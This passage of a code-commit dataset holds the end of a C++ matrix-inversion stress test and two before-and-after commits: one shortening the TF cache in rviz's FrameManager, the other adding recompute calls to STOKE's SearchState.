vmat[l] = new M( *matlist[l] );\n   }\n\n   test::Timer t(time,s);\n   double sum = 0;\n   for (int l = 0; l < nloop; l++)\n   {\n      M & m = *(vmat[l]);\n      bool ok = TestInverter<M,T>::Inv2(m);\n      if (!ok) {\n         std::cout << \"inv failed for matrix \" << l << std::endl;\n         printMatrix<M>( m);\n         return -1;\n      }\n      sum += m(0,1);\n   }\n   return sum;\n}\n\nbool equal(double d1, double d2, double stol = 10000) {\n   std::cout.precision(12);  \/\/ tolerance is 1E-12\n   double eps = stol * std::numeric_limits<double>::epsilon();\n   if ( std::abs(d1) > 0 && std::abs(d2) > 0 )\n      return  ( std::abs( d1-d2) < eps * std::max(std::abs(d1), std::abs(d2) ) );\n   else if ( d1 == 0 )\n      return std::abs(d2) < eps;\n   else \/\/ d2 = 0\n      return std::abs(d1) < eps;\n}\n\n\/\/ test matrices symmetric and positive defines\nbool stressSymPosInversion(int n, bool selftest ) {\n\n   \/\/ test smatrix\n\n   std::vector<SymMatrix *> v1(n);\n   generate(v1);\n   std::vector<TMatrixDSym *> v2(n);\n   generate(v2);\n\n\n   bool iret = true;\n   double time = 0;\n   double s1 = invert<SymMatrix, Choleski> (v1, time,\"SMatrix Chol\");\n   double s2 = invert<SymMatrix, BK> (v1, time,\"SMatrix   BK\");\n   double s3 = invert<SymMatrix, Cramer> (v1, time,\"SMatrix Cram\");\n   bool ok = ( equal(s1,s2) && equal(s1,s3) );\n   if (!ok) {\n      std::cout << \"result SMatrix choleski  \" << s1 << \" BK   \" << s2 << \" cramer \" << s3 << std::endl;\n      std::cerr <<\"Error:  inversion test for SMatrix FAILED ! \" << std::endl;\n   }\n   iret  &= ok;\n   std::cout << std::endl;\n\n   double m1 = invert<TMatrixDSym, Choleski> (v2, time,\"TMatrix Chol\");\n   double m2 = invert<TMatrixDSym, BK> (v2, time,\"TMatrix   BK\");\n   double m3 = invert<TMatrixDSym, Cramer> (v2, time,\"TMatrix Cram\");\n   double m4 = invert<TMatrixDSym, Default> (v2, time,\"TMatrix  Def\");\n\n   ok =  ( equal(m1,m2) && equal(m1,m3) && equal(m1,m4) );\n   if (!ok) {\n      std::cout << \"result TMatrix choleski  \" << m1 << \" BK   \" << m2\n                << \" cramer \" << m3 << \" default \" << m4 << std::endl;\n      std::cerr <<\"Error:  inversion test for TMatrix FAILED ! \" << std::endl;\n   }\n   iret  &= ok;\n   std::cout << std::endl;\n\n\n      \/\/ test using self inversion\n   if (selftest) {\n      std::cout << \"\\n - self inversion test \\n\";\n      double s11 = invert2<SymMatrix, Choleski> (v1, time,\"SMatrix Chol\");\n      double s12 = invert2<SymMatrix, BK> (v1, time,\"SMatrix   BK\");\n      double s13 = invert2<SymMatrix, Cramer> (v1, time,\"SMatrix Cram\");\n      ok =  ( equal(s11,s12) && equal(s11,s13) );\n      if (!ok) {\n         std::cout << \"result SMatrix choleski  \" << s11 << \" BK   \" << s12 << \" cramer \" << s13 << std::endl;\n         std::cerr <<\"Error:  self inversion test for SMatrix FAILED ! \" << std::endl;\n      }\n      iret  &= ok;\n      std::cout << std::endl;\n\n      double m13 = invert2<TMatrixDSym, Cramer> (v2, time,\"TMatrix Cram\");\n      double m14 = invert2<TMatrixDSym, Default> (v2, time,\"TMatrix  Def\");\n      ok =  ( equal(m13,m14)  );\n      if (!ok) {\n         std::cout << \"result TMatrix  cramer \" << m13 << \" default \" << m14 << std::endl;\n         std::cerr <<\"Error:  self inversion test for TMatrix FAILED ! \" << std::endl;\n      }\n      iret  &= ok;\n      std::cout << std::endl;\n   }\n\n   return iret;\n}\n\nint testInversion(int n = 100000) {\n   std::cout << \"Test Inversion for matrix with N = \" << N << std::endl;\n   bool ok = stressSymPosInversion(n, doSelfTest);\n   std::cerr << \"Test inversion of positive defined matrix ....... \";\n   if (ok) std::cerr << \"OK \\n\";\n   else std::cerr << \"FAILED \\n\";\n   return (ok) ? 0 : -1;\n}\n\nint main() {\n   return testInversion();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (c) 2009, Willow Garage, Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n *     * Redistributions of source code must retain the above copyright\n *       notice, this list of conditions and the following disclaimer.\n *     * Redistributions in binary form must reproduce the above copyright\n *       notice, this list of conditions and the following disclaimer in the\n *       documentation and\/or other materials provided with the distribution.\n *     * Neither the name of the Willow Garage, Inc. nor the names of its\n *       contributors may be used to endorse or promote products derived from\n *       this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"frame_manager.h\"\n#include \"common.h\"\n#include \"display.h\"\n#include \"properties\/property.h\"\n\n#include <tf\/transform_listener.h>\n#include <ros\/ros.h>\n\nnamespace rviz\n{\n\nFrameManagerPtr FrameManager::instance()\n{\n  static FrameManagerWPtr instw;\n\n  FrameManagerPtr inst = instw.lock();\n  if (!inst)\n  {\n    inst.reset(new FrameManager);\n    instw = inst;\n  }\n\n  return inst;\n}\n\nFrameManager::FrameManager()\n{\n  tf_ = new tf::TransformListener(ros::NodeHandle(), ros::Duration(10 * 60), false);\n}\n\nFrameManager::~FrameManager()\n{\n  delete tf_;\n}\n\nvoid FrameManager::update()\n{\n  boost::mutex::scoped_lock lock(cache_mutex_);\n  cache_.clear();\n}\n\nvoid FrameManager::setFixedFrame(const std::string& frame)\n{\n  boost::mutex::scoped_lock lock(cache_mutex_);\n  fixed_frame_ = frame;\n  cache_.clear();\n}\n\nbool FrameManager::getTransform(const std::string& frame, ros::Time time, Ogre::Vector3& position, Ogre::Quaternion& orientation, bool relative_orientation)\n{\n  boost::mutex::scoped_lock lock(cache_mutex_);\n\n  position = Ogre::Vector3(9999999, 9999999, 9999999);\n  orientation = Ogre::Quaternion::IDENTITY;\n\n  if (fixed_frame_.empty())\n  {\n    return false;\n  }\n\n  M_Cache::iterator it = cache_.find(CacheKey(frame, time, relative_orientation));\n  if (it != cache_.end())\n  {\n    position = it->second.position;\n    orientation = it->second.orientation;\n    return true;\n  }\n\n  geometry_msgs::Pose pose;\n  pose.orientation.w = 1.0f;\n\n  if (!transform(frame, time, pose, position, orientation, relative_orientation))\n  {\n    return false;\n  }\n\n  cache_.insert(std::make_pair(CacheKey(frame, time, relative_orientation), CacheEntry(position, orientation)));\n\n  return true;\n}\n\nbool FrameManager::transform(const std::string& frame, ros::Time time, const geometry_msgs::Pose& pose_msg, Ogre::Vector3& position, Ogre::Quaternion& orientation, bool relative_orientation)\n{\n  position = Ogre::Vector3::ZERO;\n  orientation = Ogre::Quaternion::IDENTITY;\n\n  btQuaternion btorient(pose_msg.orientation.x, pose_msg.orientation.y, pose_msg.orientation.z, pose_msg.orientation.w);\n  if (btorient.x() == 0.0 && btorient.y() == 0.0 && btorient.z() == 0.0 && btorient.w() == 0.0)\n  {\n    btorient.setW(1.0);\n  }\n\n  tf::Stamped<tf::Pose> pose(btTransform(btorient,\n                                   btVector3(pose_msg.position.x, pose_msg.position.y, pose_msg.position.z)),\n                                   time, frame);\n  try\n  {\n    tf_->transformPose( fixed_frame_, pose, pose );\n  }\n  catch(tf::TransformException& e)\n  {\n    ROS_DEBUG(\"Error transforming from frame '%s' to frame '%s': %s\", frame.c_str(), fixed_frame_.c_str(), e.what());\n    return false;\n  }\n\n  position = Ogre::Vector3(pose.getOrigin().x(), pose.getOrigin().y(), pose.getOrigin().z());\n  robotToOgre(position);\n\n  btQuaternion quat;\n  pose.getBasis().getRotation( quat );\n  orientation = Ogre::Quaternion::IDENTITY;\n\n  if (relative_orientation)\n  {\n    ogreToRobot(orientation);\n  }\n\n  orientation = Ogre::Quaternion( quat.w(), quat.x(), quat.y(), quat.z() ) * orientation;\n  robotToOgre(orientation);\n\n  return true;\n}\n\nbool FrameManager::frameHasProblems(const std::string& frame, ros::Time time, std::string& error)\n{\n  if (!tf_->frameExists(frame))\n  {\n    error = \"Frame [\" + frame + \"] does not exist\";\n    if (frame == fixed_frame_)\n    {\n      error = \"Fixed \" + error;\n    }\n    return true;\n  }\n\n  return false;\n}\n\nbool FrameManager::transformHasProblems(const std::string& frame, ros::Time time, std::string& error)\n{\n  std::string tf_error;\n  bool transform_succeeded = tf_->canTransform(fixed_frame_, frame, time, &tf_error);\n  if (transform_succeeded)\n  {\n    return false;\n  }\n\n  bool ok = true;\n  ok = ok && !frameHasProblems(fixed_frame_, time, error);\n  ok = ok && !frameHasProblems(frame, time, error);\n\n  if (ok)\n  {\n    std::stringstream ss;\n    ss << \"No transform to fixed frame [\" << fixed_frame_ << \"].  TF error: [\" << tf_error << \"]\";\n    error = ss.str();\n    ok = false;\n  }\n\n  {\n    std::stringstream ss;\n    ss << \"For frame [\" << frame << \"]: \" << error;\n    error = ss.str();\n  }\n\n  return !ok;\n}\n\nstd::string getTransformStatusName(const std::string& caller_id)\n{\n  std::stringstream ss;\n  ss << \"Transform [sender=\" << caller_id << \"]\";\n  return ss.str();\n}\n\nstd::string FrameManager::discoverFailureReason(const roslib::Header& header, const std::string& caller_id, tf::FilterFailureReason reason)\n{\n  if (reason == tf::filter_failure_reasons::OutTheBack)\n  {\n    std::stringstream ss;\n    ss << \"Message removed because it is too old (frame=[\" << header.frame_id << \"], stamp=[\" << header.stamp << \"])\";\n    return ss.str();\n  }\n  else\n  {\n    std::string error;\n    if (transformHasProblems(header.frame_id, header.stamp, error))\n    {\n      return error;\n    }\n  }\n\n  return \"Unknown reason for transform failure\";\n}\n\nvoid FrameManager::messageArrived(const roslib::Header& header, const std::string& caller_id, Display* display)\n{\n  display->setStatus(status_levels::Ok, getTransformStatusName(caller_id), \"Transform OK\");\n}\n\nvoid FrameManager::messageFailed(const roslib::Header& header, const std::string& caller_id, tf::FilterFailureReason reason, Display* display)\n{\n  std::string status_name = getTransformStatusName(caller_id);\n  std::string status_text = discoverFailureReason(header, caller_id, reason);\n  display->setStatus(status_levels::Error, status_name, status_text);\n}\n\n}\n<commit_msg>reduce TF cache time to 60 seconds (from 10 minute), due to memory usage<commit_after>\/*\n * Copyright (c) 2009, Willow Garage, Inc.\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n *     * Redistributions of source code must retain the above copyright\n *       notice, this list of conditions and the following disclaimer.\n *     * Redistributions in binary form must reproduce the above copyright\n *       notice, this list of conditions and the following disclaimer in the\n *       documentation and\/or other materials provided with the distribution.\n *     * Neither the name of the Willow Garage, Inc. nor the names of its\n *       contributors may be used to endorse or promote products derived from\n *       this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n#include \"frame_manager.h\"\n#include \"common.h\"\n#include \"display.h\"\n#include \"properties\/property.h\"\n\n#include <tf\/transform_listener.h>\n#include <ros\/ros.h>\n\nnamespace rviz\n{\n\nFrameManagerPtr FrameManager::instance()\n{\n  static FrameManagerWPtr instw;\n\n  FrameManagerPtr inst = instw.lock();\n  if (!inst)\n  {\n    inst.reset(new FrameManager);\n    instw = inst;\n  }\n\n  return inst;\n}\n\nFrameManager::FrameManager()\n{\n  tf_ = new tf::TransformListener(ros::NodeHandle(), ros::Duration(60), false);\n}\n\nFrameManager::~FrameManager()\n{\n  delete tf_;\n}\n\nvoid FrameManager::update()\n{\n  boost::mutex::scoped_lock lock(cache_mutex_);\n  cache_.clear();\n}\n\nvoid FrameManager::setFixedFrame(const std::string& frame)\n{\n  boost::mutex::scoped_lock lock(cache_mutex_);\n  fixed_frame_ = frame;\n  cache_.clear();\n}\n\nbool FrameManager::getTransform(const std::string& frame, ros::Time time, Ogre::Vector3& position, Ogre::Quaternion& orientation, bool relative_orientation)\n{\n  boost::mutex::scoped_lock lock(cache_mutex_);\n\n  position = Ogre::Vector3(9999999, 9999999, 9999999);\n  orientation = Ogre::Quaternion::IDENTITY;\n\n  if (fixed_frame_.empty())\n  {\n    return false;\n  }\n\n  M_Cache::iterator it = cache_.find(CacheKey(frame, time, relative_orientation));\n  if (it != cache_.end())\n  {\n    position = it->second.position;\n    orientation = it->second.orientation;\n    return true;\n  }\n\n  geometry_msgs::Pose pose;\n  pose.orientation.w = 1.0f;\n\n  if (!transform(frame, time, pose, position, orientation, relative_orientation))\n  {\n    return false;\n  }\n\n  cache_.insert(std::make_pair(CacheKey(frame, time, relative_orientation), CacheEntry(position, orientation)));\n\n  return true;\n}\n\nbool FrameManager::transform(const std::string& frame, ros::Time time, const geometry_msgs::Pose& pose_msg, Ogre::Vector3& position, Ogre::Quaternion& orientation, bool relative_orientation)\n{\n  position = Ogre::Vector3::ZERO;\n  orientation = Ogre::Quaternion::IDENTITY;\n\n  btQuaternion btorient(pose_msg.orientation.x, pose_msg.orientation.y, pose_msg.orientation.z, pose_msg.orientation.w);\n  if (btorient.x() == 0.0 && btorient.y() == 0.0 && btorient.z() == 0.0 && btorient.w() == 0.0)\n  {\n    btorient.setW(1.0);\n  }\n\n  tf::Stamped<tf::Pose> pose(btTransform(btorient,\n                                   btVector3(pose_msg.position.x, pose_msg.position.y, pose_msg.position.z)),\n                                   time, frame);\n  try\n  {\n    tf_->transformPose( fixed_frame_, pose, pose );\n  }\n  catch(tf::TransformException& e)\n  {\n    ROS_DEBUG(\"Error transforming from frame '%s' to frame '%s': %s\", frame.c_str(), fixed_frame_.c_str(), e.what());\n    return false;\n  }\n\n  position = Ogre::Vector3(pose.getOrigin().x(), pose.getOrigin().y(), pose.getOrigin().z());\n  robotToOgre(position);\n\n  btQuaternion quat;\n  pose.getBasis().getRotation( quat );\n  orientation = Ogre::Quaternion::IDENTITY;\n\n  if (relative_orientation)\n  {\n    ogreToRobot(orientation);\n  }\n\n  orientation = Ogre::Quaternion( quat.w(), quat.x(), quat.y(), quat.z() ) * orientation;\n  robotToOgre(orientation);\n\n  return true;\n}\n\nbool FrameManager::frameHasProblems(const std::string& frame, ros::Time time, std::string& error)\n{\n  if (!tf_->frameExists(frame))\n  {\n    error = \"Frame [\" + frame + \"] does not exist\";\n    if (frame == fixed_frame_)\n    {\n      error = \"Fixed \" + error;\n    }\n    return true;\n  }\n\n  return false;\n}\n\nbool FrameManager::transformHasProblems(const std::string& frame, ros::Time time, std::string& error)\n{\n  std::string tf_error;\n  bool transform_succeeded = tf_->canTransform(fixed_frame_, frame, time, &tf_error);\n  if (transform_succeeded)\n  {\n    return false;\n  }\n\n  bool ok = true;\n  ok = ok && !frameHasProblems(fixed_frame_, time, error);\n  ok = ok && !frameHasProblems(frame, time, error);\n\n  if (ok)\n  {\n    std::stringstream ss;\n    ss << \"No transform to fixed frame [\" << fixed_frame_ << \"].  TF error: [\" << tf_error << \"]\";\n    error = ss.str();\n    ok = false;\n  }\n\n  {\n    std::stringstream ss;\n    ss << \"For frame [\" << frame << \"]: \" << error;\n    error = ss.str();\n  }\n\n  return !ok;\n}\n\nstd::string getTransformStatusName(const std::string& caller_id)\n{\n  std::stringstream ss;\n  ss << \"Transform [sender=\" << caller_id << \"]\";\n  return ss.str();\n}\n\nstd::string FrameManager::discoverFailureReason(const roslib::Header& header, const std::string& caller_id, tf::FilterFailureReason reason)\n{\n  if (reason == tf::filter_failure_reasons::OutTheBack)\n  {\n    std::stringstream ss;\n    ss << \"Message removed because it is too old (frame=[\" << header.frame_id << \"], stamp=[\" << header.stamp << \"])\";\n    return ss.str();\n  }\n  else\n  {\n    std::string error;\n    if (transformHasProblems(header.frame_id, header.stamp, error))\n    {\n      return error;\n    }\n  }\n\n  return \"Unknown reason for transform failure\";\n}\n\nvoid FrameManager::messageArrived(const roslib::Header& header, const std::string& caller_id, Display* display)\n{\n  display->setStatus(status_levels::Ok, getTransformStatusName(caller_id), \"Transform OK\");\n}\n\nvoid FrameManager::messageFailed(const roslib::Header& header, const std::string& caller_id, tf::FilterFailureReason reason, Display* display)\n{\n  std::string status_name = getTransformStatusName(caller_id);\n  std::string status_text = discoverFailureReason(header, caller_id, reason);\n  display->setStatus(status_levels::Error, status_name, status_text);\n}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ Copyright 2013-2015 Stanford University\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the License);\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an AS IS BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n\n#include \"src\/search\/search_state.h\"\n\nusing namespace std;\nusing namespace x64asm;\nusing namespace stoke;\n\nvoid SearchState::configure(Init init, const Cfg& target, size_t size) {\n  switch(init) {\n  case Init::TARGET:\n    configure_target(target, size);\n    break;\n  case Init::ZERO:\n    configure_zero(target, size);\n    break;\n  case Init::EMPTY:\n    configure_empty(target, size);\n    break;\n  case Init::PREVIOUS:\n    \/\/ no-op\n    break;\n  case Init::EXTENSION:\n    configure_extension(target, size);\n    break;\n  default:\n    assert(false);\n  }\n}\n\nvoid SearchState::configure_empty(const Cfg& target, size_t size) {\n  current = Cfg({{}}, target.def_ins(), target.live_outs());\n  current.get_code().push_back(target.get_code()[0]);\n  for (size_t i = 1, ie = size - 1; i < ie; ++i) {\n    current.get_code().push_back({NOP});\n  }\n  current.get_code().push_back({RET});\n\n  best_yet = current;\n  best_correct = target;\n}\n\nCode SearchState::find_sound_code(const RegSet& def_ins, const RegSet& live_outs) {\n  auto diff = live_outs;\n  vector<Instruction> code;\n\n  \/\/ initialize all general purpose registers\n  for (auto rit = diff.gp_begin(); rit != diff.gp_end(); ++rit) {\n    auto reg = *rit;\n    auto type = reg.type();\n    if (type == Type::R_64 || type == Type::RAX) {\n      code.push_back(Instruction(XOR_R64_R64, {reg, reg}));\n    } else if (type == Type::R_32 || type == Type::EAX) {\n      code.push_back(Instruction(XOR_R32_R32, {reg, reg}));\n    } else if (type == Type::R_16 || type == Type::AX || type == Type::DX) {\n      code.push_back(Instruction(XOR_R16_R16, {reg, reg}));\n    } else if (type == Type::RL || type == Type::AL || type == Type::CL) {\n      code.push_back(Instruction(XOR_RL_RL, {reg, reg}));\n    } else if (type == Type::RH) {\n      code.push_back(Instruction(XOR_RH_RH, {reg, reg}));\n    } else if (type == Type::RB) {\n      code.push_back(Instruction(XOR_RB_RB, {reg, reg}));\n    }\n  }\n\n  \/\/ initialize sse registers\n  for (auto rit = diff.sse_begin(); rit != diff.sse_end(); ++rit) {\n    auto reg = *rit;\n    auto type = reg.type();\n    if (type == Type::XMM || type == Type::XMM_0) {\n      code.push_back(Instruction(PXOR_XMM_XMM, {reg, reg}));\n    } else if (type == Type::YMM) {\n      code.push_back(Instruction(VPXOR_YMM_YMM_YMM, {reg, reg, reg}));\n    }\n  }\n\n  \/\/ initialize mm registers\n  for (auto rit = diff.mm_begin(); rit != diff.mm_end(); ++rit) {\n    auto reg = *rit;\n    code.push_back(Instruction(PXOR_MM_MM, {reg, reg}));\n  }\n\n  \/\/ flags\n  bool regular = false;\n  for (auto rit = diff.flags_begin(); rit != diff.flags_end(); ++rit) {\n    auto reg = *rit;\n    if ((reg == Constants::eflags_of() ||\n         reg == Constants::eflags_zf() ||\n         reg == Constants::eflags_sf() ||\n         reg == Constants::eflags_af() ||\n         reg == Constants::eflags_cf() ||\n         reg == Constants::eflags_pf()) && !regular) {\n      regular = true;\n      code.push_back(Instruction(XOR_R32_R32, {Constants::rax(), Constants::rax()}));\n      code.push_back(Instruction(ADD_R32_IMM32, {Constants::rax(), Imm32(0)}));\n    }\n  }\n\n  \/\/ remove statements if possible\n  bool changed = true;\n  while (changed) {\n    changed = false;\n    int i = 0;\n    for (auto it = code.begin(); it != code.end(); ++it, ++i) {\n      vector<Instruction> copy = code;\n      copy.erase(copy.begin()+i);\n      if (Cfg(Code(copy.begin(), copy.end()), def_ins, live_outs).is_sound()) {\n        code = copy;\n        changed = true;\n        break;\n      }\n    }\n  }\n\n  return Code(code.begin(), code.end());\n}\n\nvoid SearchState::configure_zero(const Cfg& target, size_t size) {\n  \/\/ If nothing is live out in the target, nothing to do\n  if (target.def_ins().contains(target.live_outs())) {\n    configure_empty(target, size);\n    return;\n  }\n\n  current = Cfg({{}}, target.def_ins(), target.live_outs());\n  current.get_code().push_back(target.get_code()[0]);\n  auto code = find_sound_code(target.def_ins(), target.live_outs());\n  for (const auto& instr : code) {\n    current.get_code().push_back(instr);\n  }\n  for (size_t i = code.size(), ie = size - 1; i < ie; ++i) {\n    current.get_code().push_back({NOP});\n  }\n  current.get_code().push_back({RET});\n\n  best_yet = current;\n  best_correct = target;\n}\n\nvoid SearchState::configure_target(const Cfg& target, size_t size) {\n  current = target;\n  best_yet = target;\n  best_correct = target;\n}\n\nvoid SearchState::configure_extension(const Cfg& target, size_t size) {\n  \/\/ Add user-defined logic here ...\n\n  \/\/ Invariant 1: Search state should agree with target on boundary conditions.\n  assert(current.def_ins() == target.def_ins());\n  assert(current.live_outs() == target.live_outs());\n\n  assert(best_yet.def_ins() == target.def_ins());\n  assert(best_yet.live_outs() == target.live_outs());\n\n  assert(best_correct.def_ins() == target.def_ins());\n  assert(best_correct.live_outs() == target.live_outs());\n\n  \/\/ Invariant 2: Search state must agree on first instruction. This instruction\n  \/\/ must be the label definition that appears in the target.\n  assert(current.get_code()[0] == target.get_code()[0]);\n  assert(best_yet.get_code()[0] == target.get_code()[0]);\n  assert(best_correct.get_code()[0] == target.get_code()[0]);\n\n  \/\/ See Search::configure for enforcement of additional invariants.\n  \/\/ 3. The \"best_correct\" code must actually be correct\n  \/\/ 4. The cost of best_yet code must be less than the cost of current.\n}\n<commit_msg>Have to call recompute at the end of search_state::configure_xxx methods.<commit_after>\/\/ Copyright 2013-2015 Stanford University\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the License);\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an AS IS BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n\n#include \"src\/search\/search_state.h\"\n\nusing namespace std;\nusing namespace x64asm;\nusing namespace stoke;\n\nvoid SearchState::configure(Init init, const Cfg& target, size_t size) {\n  switch(init) {\n  case Init::TARGET:\n    configure_target(target, size);\n    break;\n  case Init::ZERO:\n    configure_zero(target, size);\n    break;\n  case Init::EMPTY:\n    configure_empty(target, size);\n    break;\n  case Init::PREVIOUS:\n    \/\/ no-op\n    break;\n  case Init::EXTENSION:\n    configure_extension(target, size);\n    break;\n  default:\n    assert(false);\n  }\n}\n\nvoid SearchState::configure_empty(const Cfg& target, size_t size) {\n  current = Cfg({{}}, target.def_ins(), target.live_outs());\n  current.get_code().push_back(target.get_code()[0]);\n  for (size_t i = 1, ie = size - 1; i < ie; ++i) {\n    current.get_code().push_back({NOP});\n  }\n  current.get_code().push_back({RET});\n\tcurrent.recompute();\n\n  best_yet = current;\n  best_correct = target;\n}\n\nCode SearchState::find_sound_code(const RegSet& def_ins, const RegSet& live_outs) {\n  auto diff = live_outs;\n  vector<Instruction> code;\n\n  \/\/ initialize all general purpose registers\n  for (auto rit = diff.gp_begin(); rit != diff.gp_end(); ++rit) {\n    auto reg = *rit;\n    auto type = reg.type();\n    if (type == Type::R_64 || type == Type::RAX) {\n      code.push_back(Instruction(XOR_R64_R64, {reg, reg}));\n    } else if (type == Type::R_32 || type == Type::EAX) {\n      code.push_back(Instruction(XOR_R32_R32, {reg, reg}));\n    } else if (type == Type::R_16 || type == Type::AX || type == Type::DX) {\n      code.push_back(Instruction(XOR_R16_R16, {reg, reg}));\n    } else if (type == Type::RL || type == Type::AL || type == Type::CL) {\n      code.push_back(Instruction(XOR_RL_RL, {reg, reg}));\n    } else if (type == Type::RH) {\n      code.push_back(Instruction(XOR_RH_RH, {reg, reg}));\n    } else if (type == Type::RB) {\n      code.push_back(Instruction(XOR_RB_RB, {reg, reg}));\n    }\n  }\n\n  \/\/ initialize sse registers\n  for (auto rit = diff.sse_begin(); rit != diff.sse_end(); ++rit) {\n    auto reg = *rit;\n    auto type = reg.type();\n    if (type == Type::XMM || type == Type::XMM_0) {\n      code.push_back(Instruction(PXOR_XMM_XMM, {reg, reg}));\n    } else if (type == Type::YMM) {\n      code.push_back(Instruction(VPXOR_YMM_YMM_YMM, {reg, reg, reg}));\n    }\n  }\n\n  \/\/ initialize mm registers\n  for (auto rit = diff.mm_begin(); rit != diff.mm_end(); ++rit) {\n    auto reg = *rit;\n    code.push_back(Instruction(PXOR_MM_MM, {reg, reg}));\n  }\n\n  \/\/ flags\n  bool regular = false;\n  for (auto rit = diff.flags_begin(); rit != diff.flags_end(); ++rit) {\n    auto reg = *rit;\n    if ((reg == Constants::eflags_of() ||\n         reg == Constants::eflags_zf() ||\n         reg == Constants::eflags_sf() ||\n         reg == Constants::eflags_af() ||\n         reg == Constants::eflags_cf() ||\n         reg == Constants::eflags_pf()) && !regular) {\n      regular = true;\n      code.push_back(Instruction(XOR_R32_R32, {Constants::rax(), Constants::rax()}));\n      code.push_back(Instruction(ADD_R32_IMM32, {Constants::rax(), Imm32(0)}));\n    }\n  }\n\n  \/\/ remove statements if possible\n  bool changed = true;\n  while (changed) {\n    changed = false;\n    int i = 0;\n    for (auto it = code.begin(); it != code.end(); ++it, ++i) {\n      vector<Instruction> copy = code;\n      copy.erase(copy.begin()+i);\n      if (Cfg(Code(copy.begin(), copy.end()), def_ins, live_outs).is_sound()) {\n        code = copy;\n        changed = true;\n        break;\n      }\n    }\n  }\n\n  return Code(code.begin(), code.end());\n}\n\nvoid SearchState::configure_zero(const Cfg& target, size_t size) {\n  \/\/ If nothing is live out in the target, nothing to do\n  if (target.def_ins().contains(target.live_outs())) {\n    configure_empty(target, size);\n    return;\n  }\n\n  current = Cfg({{}}, target.def_ins(), target.live_outs());\n  current.get_code().push_back(target.get_code()[0]);\n  auto code = find_sound_code(target.def_ins(), target.live_outs());\n  for (const auto& instr : code) {\n    current.get_code().push_back(instr);\n  }\n  for (size_t i = code.size(), ie = size - 1; i < ie; ++i) {\n    current.get_code().push_back({NOP});\n  }\n  current.get_code().push_back({RET});\n\tcurrent.recompute();\n\n  best_yet = current;\n  best_correct = target;\n}\n\nvoid SearchState::configure_target(const Cfg& target, size_t size) {\n  current = target;\n  best_yet = target;\n  best_correct = target;\n}\n\nvoid SearchState::configure_extension(const Cfg& target, size_t size) {\n  \/\/ Add user-defined logic here ...\n\n  \/\/ Invariant 1: Search state should agree with target on boundary conditions.\n  assert(current.def_ins() == target.def_ins());\n  assert(current.live_outs() == target.live_outs());\n\n  assert(best_yet.def_ins() == target.def_ins());\n  assert(best_yet.live_outs() == target.live_outs());\n\n  assert(best_correct.def_ins() == target.def_ins());\n  assert(best_correct.live_outs() == target.live_outs());\n\n  \/\/ Invariant 2: Search state must agree on first instruction. This instruction\n  \/\/ must be the label definition that appears in the target.\n  assert(current.get_code()[0] == target.get_code()[0]);\n  assert(best_yet.get_code()[0] == target.get_code()[0]);\n  assert(best_correct.get_code()[0] == target.get_code()[0]);\n\n  \/\/ See Search::configure for enforcement of additional invariants.\n  \/\/ 3. The \"best_correct\" code must actually be correct\n  \/\/ 4. The cost of best_yet code must be less than the cost of current.\n}\n<|endoftext|>"}
